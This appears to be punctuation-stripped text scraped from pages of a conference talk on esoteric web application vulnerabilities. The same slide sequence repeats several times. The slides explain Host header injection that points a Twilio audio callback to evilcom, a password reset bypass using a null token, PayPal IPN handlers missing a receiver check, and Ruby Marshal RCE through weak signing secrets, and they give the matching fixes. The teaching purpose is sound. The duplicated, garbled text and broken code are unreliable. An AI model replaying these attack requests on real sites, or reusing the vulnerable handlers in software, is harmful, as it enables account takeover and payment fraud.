Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 14: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 15: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 16: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 17: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

